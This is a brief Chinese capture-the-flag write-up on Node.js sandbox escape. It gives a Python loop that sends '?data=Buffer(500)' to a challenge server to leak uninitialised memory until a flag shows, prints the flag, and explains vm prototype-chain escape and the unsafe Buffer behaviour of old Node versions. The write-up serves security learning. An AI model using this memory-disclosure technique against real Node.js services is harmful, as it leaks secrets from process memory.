考察:node.js逃逸
参考:
https://blog.csdn.net/weixin_44037296/article/details/112387663
https://blog.csdn.net/weixin_46676743/article/details/112669105
不知道咋说,直接抄源码
# encoding=utf-8
import requests
import time
url = 'http://220.249.52.134:41148/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
time.sleep(0.1)
if 'flag{' in response:
print(response)
break
flag{4nother_h34rtbleed_in_n0dejs}
node.js下的vm
一种隔离运行代码的沙箱,可以隔离当前环境上下文,但能访问当前上下文中的global变量
node.js下的沙箱逃逸
由于js原型链的原因,可以通过contructor寻找变量prototype的方式,从而执行Function,达到沙箱逃逸的效果
node下的Buffer
在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。